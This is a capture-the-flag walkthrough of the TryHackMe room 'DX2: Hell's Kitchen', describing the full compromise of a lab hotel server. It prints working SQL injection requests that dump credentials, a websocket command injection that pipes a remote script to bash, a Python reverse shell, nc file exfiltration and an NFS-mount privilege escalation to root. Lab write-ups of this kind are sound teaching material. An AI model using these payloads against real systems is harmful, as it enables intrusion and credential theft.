TryHackMe: DX2: Hell's Kitchen
DX2: Hell’s Kitchen started with enumerating a couple of Javascript files on a web application to discover an API endpoint vulnerable to SQL injection. Using this to gain a set of credentials, we used them to login to another web application. There, we discovered a websocket vulnerable to command injection and used it to get a shell. After getting a shell and enumerating the file system, we discovered a password and used it to pivot to another user. As this user, we discovered another set of credentials and were able to pivot to yet another user. With this new user, we were able to run mount.nfs as the root user with sudo and use it to escalate to the root user.
Initial Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.131.31
Nmap scan report for 10.10.131.31
Host is up (0.099s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http
|_http-title: Welcome to the 'Ton!
...
4346/tcp open elanlm?
...
There are two ports open.
- 80/HTTP
- 4346/HTTP
WEB 80
Checking http://10.10.131.31/
, we get a page about the 'Ton
hotel.
WEB 4346
And checking http://10.10.131.31:4346/
, we get a login page.
Web Flag
Enumerating the Webserver
Looking at the source code for the page http://10.10.131.31/
, we see that it includes the script at http://10.10.131.31/static/check-rooms.js
Examining the script, we can see that it makes a request to /api/rooms-available
.
1
2
3
4
5
6
7
8
9
10
11
12
13
fetch('/api/rooms-available').then(response => response.text()).then(number => {
const bookingBtn = document.querySelector("#booking");
bookingBtn.removeAttribute("disabled");
if (number < 6) {
bookingBtn.addEventListener("click", () => {
window.location.href = "new-booking";
});
} else {
bookingBtn.addEventListener("click", () => {
alert("Unfortunately the hotel is currently fully booked. Please try again later!")
});
}
});
Depending on the result of the request, it either alerts with the hotel being fully booked or redirects to the /new-booking
endpoint.
Checking http://10.10.131.31/new-booking
, we get a message about no rooms being available.
Looking at the source code for the page, we can see another script being included from http://10.10.131.31/static/new-booking.js
.
Reading the script, we can see that it reads the BOOKING_KEY
cookie (which is set by the /new-booking
endpoint upon visiting) and uses it to make a request to /api/booking-info
with the read cookie being passed as the booking_key
parameter.
1
2
3
4
5
6
7
8
9
10
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
fetch('/api/booking-info?booking_key=' + getCookie("BOOKING_KEY")).then(response => response.json()).then(data => {
document.querySelector("#rooms").value = data.room_num;
document.querySelector("#nights").value = data.days;
});
We can see the request made in BurpSuite
as such.
SQL Injection
Examining the booking_key
, we can notice it is booking_id:3380185
, base58 encoded.
1
2
$ echo 55oYpt6n8TAVgZajFsDAqhBqE | base58 -d
booking_id:3380185
Testing the booking_id
with some basic SQL
injection payloads. We see that when we test the cookie as it is, we get the not found
message. If we append '
to it, we get the error bad request
, and if we also append ;-- -
to comment out the rest of the query, we are back to the not found
message. This confirms the SQL
injection.
1
2
3
4
5
6
7
8
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185" | base58)
not found
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185'" | base58)
bad request
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185';-- -" | base58)
not found
We are successful at extracting data with a UNION
attack using two columns.
1
2
3
4
5
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185' UNION SELECT 1;-- -" | base58)
bad request
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185' UNION SELECT 1,2;-- -" | base58)
{"room_num":"1","days":"2"}
We are able to fingerprint the database management system as SQLite
by running the sqlite_version()
function.
1
2
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185' UNION SELECT sqlite_version(),2;-- -" | base58)
{"room_num":"3.42.0","days":"2"}
Now that we know the DBMS is SQLite, we can start extracting the database schemas.
1
2
3
4
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185' UNION SELECT GROUP_CONCAT(sql, '\n'),2 FROM sqlite_schema;-- -" | base58) | jq -r .room_num
CREATE TABLE email_access (guest_name TEXT, email_username TEXT, email_password TEXT)
CREATE TABLE reservations (guest_name TEXT, room_num INTEGER, days_remaining INTEGER)
CREATE TABLE bookings_temp (booking_id TEXT, room_num TEXT, days TEXT)
email_access
seems interesting. By dumping it, we get a set of credentials.
1
2
3
4
5
6
7
$ curl -s http://10.10.131.31/api/booking-info?booking_key=$(echo -n "booking_id:3380185' UNION SELECT GROUP_CONCAT(guest_name || ':' || email_username || ':' || email_password, '\n'),2 FROM email_access;-- -" | base58) | jq -r .room_num
Gully Foyle:NEVER LOGGED IN:
Gabriel Syme:NEVER LOGGED IN:
Oberst Enzian:NEVER LOGGED IN:
Paul Denton:pdenton:[REDACTED]
Smilla Jasperson:NEVER LOGGED IN:
Hippolyta Hall:NEVER LOGGED IN:
Enumerating the Messages
Using the credentials we discovered, we are able to login at http://10.10.131.31:4346/
and access the http://10.10.131.31:4346/mail
endpoint.
Checking the message from the JReyes
user, we get the web flag.
User Flag
Shell as gilbert
Checking the source code for http://10.10.131.31:4346/mail
, we notice an interesting script at the end.
The first part is responsible for fetching and displaying the messages.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
let elems = document.querySelectorAll(".email_list .row");
for (var i = 0; i < elems.length; i++) {
elems[i].addEventListener("click", (e => {
document.querySelector(".email_list .selected").classList.remove("selected"), e.target.parentElement.classList.add("selected");
let t = e.target.parentElement.getAttribute("data-id"),
n = e.target.parentElement.querySelector(".col_from").innerText,
r = e.target.parentElement.querySelector(".col_subject").innerText;
document.querySelector("#from_header").innerText = n, document.querySelector("#subj_header").innerText = r, document.querySelector("#email_content").innerText = "", fetch("/api/message?message_id=" + t).then((e => e.text())).then((e => {
document.querySelector("#email_content").innerText = atob(e)
}))
})), document.querySelector(".dialog_controls button").addEventListener("click", (e => {
e.preventDefault(), window.location.href = "/"
}))
}
And the second part establishes a websocket connection to the ws://10.10.131.31:4346/ws
endpoint, sends the user’s time zone every second, and then the return value is used to display the time at the top left corner of the page.
1
2
3
4
const wsUri = `ws://${location.host}/ws`;
socket = new WebSocket(wsUri);
let tz = Intl.DateTimeFormat().resolvedOptions().timeZone;
socket.onmessage = e => document.querySelector(".time").innerText = e.data, setInterval((() => socket.send(tz)), 1e3);
We can check out the websocket communication using BurpSuite’s WebSockets history
tab and easily interact with it using the Repeater
tab.
Trying a simple command injection payload, we see that we are able to execute commands.
Testing for the firewall before trying to get a shell with a couple of common ports like UTC;curl 10.11.72.22:<port>;
, we can see that the server is only able to reach out to us on ports 80
and 443
.
1
2
3
4
5
6
7
$ sudo tcpdump -i tun0 -n tcp and port not 4346
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:38:16.913457 IP 10.10.131.31.42462 > 10.11.72.22.80: Flags [S], seq 2298109106, win 62727, options [mss 1288,sackOK,TS val 1100878518 ecr 0,nop,wscale 7], length 0
02:38:16.913686 IP 10.11.72.22.80 > 10.10.131.31.42462: Flags [R.], seq 0, ack 2298109107, win 0, length 0
02:38:23.485653 IP 10.10.131.31.59410 > 10.11.72.22.443: Flags [S], seq 322225138, win 62727, options [mss 1288,sackOK,TS val 1100885090 ecr 0,nop,wscale 7], length 0
02:38:23.485741 IP 10.11.72.22.443 > 10.10.131.31.59410: Flags [R.], seq 0, ack 322225139, win 0, length 0
We can use this to serve a reverse shell payload on port 80
and catch it on port 443
.
1
2
3
4
5
$ cat index.html
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.72.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
And now with the UTC;curl 10.11.72.22|bash;
payload, we get a shell as the gilbert
user.
1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.131.31 - - [20/Jul/2024 02:46:58] "GET / HTTP/1.1" 200 -
1
2
3
4
5
6
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.131.31] 49090
...
gilbert@tonhotel:/$ id
uid=1001(gilbert) gid=1001(gilbert) groups=1001(gilbert)
Checking the user’s home directory, we find the password for the user inside the hotel-jobs.txt
file.
1
2
3
4
5
6
7
8
9
gilbert@tonhotel:~$ cat hotel-jobs.txt
hotel tasks, q1 52
- fix lights in the elevator shaft, flickering for a while now
- maybe put barrier up in front of shaft, so the addicts dont fall in
- ask sandra AGAIN why that punk has an account on here (be nice, so good for her to be home helping with admin)
- remember! '[REDACTED]'
buy her something special maybe - she used to like raspberry candy - as thanks for locking the machine down. 'ports are blocked' whatever that means. my smart girl
Using the password, we can check the sudo
privileges.
1
2
3
4
5
6
7
gilbert@tonhotel:~$ sudo -l
[sudo] password for gilbert:
Matching Defaults entries for gilbert on tonhotel:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gilbert may run the following commands on tonhotel:
(root) /usr/sbin/ufw status
We are able to run ufw status
as root using sudo
and by running it, we can see the active firewall rules.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
gilbert@tonhotel:~$ sudo /usr/sbin/ufw status
Status: active
To Action From
-- ------ ----
80/tcp ALLOW Anywhere
4346/tcp ALLOW Anywhere
80/tcp (v6) ALLOW Anywhere (v6)
4346/tcp (v6) ALLOW Anywhere (v6)
80/tcp ALLOW OUT Anywhere
443/tcp ALLOW OUT Anywhere
80/tcp (v6) ALLOW OUT Anywhere (v6)
443/tcp (v6) ALLOW OUT Anywhere (v6)
We are able to connect to the machine on ports 80
and 4346
, and the machine is able to connect to us on ports 80
and 443
.
Shell as sandra
Checking out the /srv
directory, we find the binaries for the web applications along with a file named .dad
.
1
2
3
4
5
6
7
gilbert@tonhotel:~$ ls -la /srv
total 6080
drwxr-xr-x 2 root root 4096 Jul 19 21:02 .
drwxr-xr-x 19 root root 4096 Oct 22 2022 ..
-rw-r----- 1 sandra gilbert 183 Sep 10 2023 .dad
-rwx--x--- 1 root gilbert 3234904 Jul 19 20:51 nycomm_link_v7895
-rwx------ 1 root root 2976128 Sep 9 2023 tonhotel
Inside, we find the password for the sandra
user.
1
2
gilbert@tonhotel:~$ cat /srv/.dad
i cant deal with your attacks on my friends rn dad, i need to take some time away from the hotel. if you need access to the ton site, my pw is where id rather be: [REDACTED]. -S
Using it to switch to the user, we are able to read the user flag at /home/sandra/user.txt
.
1
2
3
4
5
gilbert@tonhotel:~$ su - sandra
Password:
$ /bin/bash
sandra@tonhotel:~$ wc -c user.txt
46 user.txt
Root Flag
Shell as jojo
Checking our home directory, we notice the Pictures
directory with a single picture inside.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sandra@tonhotel:~$ ls -la
total 32
drwxr-xr-x 3 sandra sandra 4096 Sep 10 2023 .
drwxr-xr-x 5 root root 4096 Sep 10 2023 ..
lrwxrwxrwx 1 sandra sandra 9 Sep 10 2023 .bash_history -> /dev/null
-rw-r--r-- 1 sandra sandra 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 sandra sandra 3771 Feb 25 2020 .bashrc
-rw-rw---- 1 sandra sandra 198 Sep 10 2023 note.txt
drwxrwx--- 2 sandra sandra 4096 Sep 10 2023 Pictures
-rw-r--r-- 1 sandra sandra 807 Feb 25 2020 .profile
-rw-rw---- 1 sandra sandra 46 Sep 10 2023 user.txt
sandra@tonhotel:~$ ls -la Pictures/
total 40
drwxrwx--- 2 sandra sandra 4096 Sep 10 2023 .
drwxr-xr-x 3 sandra sandra 4096 Sep 10 2023 ..
-rw-rw---- 1 sandra sandra 32637 Sep 7 2023 boss.jpg
We can transfer it to our machine using nc
.
1
$ nc -lvnp 80 > boss.jpg
1
sandra@tonhotel:~$ nc 10.11.72.22 80 < Pictures/boss.jpg
Looking at the picture, we get a password and can use it to switch to the jojo
user.
1
2
3
4
5
sandra@tonhotel:~$ su - jojo
Password:
$ /bin/bash
jojo@tonhotel:~$ id
uid=1003(jojo) gid=1003(jojo) groups=1003(jojo)
Shell as root
Checking the sudo
privileges for the jojo
user, we are able to run the /usr/sbin/mount.nfs
binary as the root
user.
1
2
3
4
5
6
7
jojo@tonhotel:~$ sudo -l
[sudo] password for jojo:
Matching Defaults entries for jojo on tonhotel:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jojo may run the following commands on tonhotel:
(root) /usr/sbin/mount.nfs
/usr/sbin/mount.nfs
allows us to mount an NFS
share. We can abuse this by mounting a writable NFS
share over /usr/sbin/
and replacing the /usr/sbin/mount.nfs
with anything we want, and we would still be able to run it as the root
user with sudo
.
At this point, you need to install the
nfs-kernel-server
package, if it is not already installed.
First, we need to create a directory to share.
1
2
3
$ mkdir /tmp/share
$ sudo chown nobody:nogroup /tmp/share
$ sudo chmod 777 /tmp/share
Since there is a firewall running, we need to configure our NFS
server to run on a whitelisted port. We can achieve this by modifying the /etc/nsf.conf
file like this:
1
2
[nfsd]
port=443
Adding our directory to /etc/exports
.
1
$ sudo bash -c 'echo "/tmp/share 10.0.0.0/8(rw)" >> /etc/exports'
Exporting our shares and restarting the NFS
server to apply the configuration changes.
1
2
$ sudo exportfs -a
$ sudo systemctl restart nfs-kernel-server
Since our share is ready, we can mount it over /usr/sbin
.
1
jojo@tonhotel:~$ sudo /usr/sbin/mount.nfs -o port=443 10.11.72.22:/tmp/share /usr/sbin
We can see that /usr/sbin
is now writable.
1
2
3
4
jojo@tonhotel:~$ ls -la /usr/sbin
total 8
drwxrwxrwx 2 nobody nogroup 4096 Jul 20 03:36 .
drwxr-xr-x 14 root root 4096 Aug 31 2022 ..
Replacing the /usr/sbin/mount.nfs
with /bin/sh
.
1
2
3
4
5
6
jojo@tonhotel:~$ cp /bin/sh /usr/sbin/mount.nfs
jojo@tonhotel:~$ ls -la /usr/sbin
total 136
drwxrwxrwx 2 nobody nogroup 4096 Jul 20 03:46 .
drwxr-xr-x 14 root root 4096 Aug 31 2022 ..
-rwxr-xr-x 1 jojo jojo 129816 Jul 20 03:46 mount.nfs
Now, we can run it using sudo
to get a shell as the root
user and read the root flag.
1
2
3
4
5
jojo@tonhotel:~$ sudo /usr/sbin/mount.nfs
# id
uid=0(root) gid=0(root) groups=0(root)
# wc -c /root/root.txt
46 /root/root.txt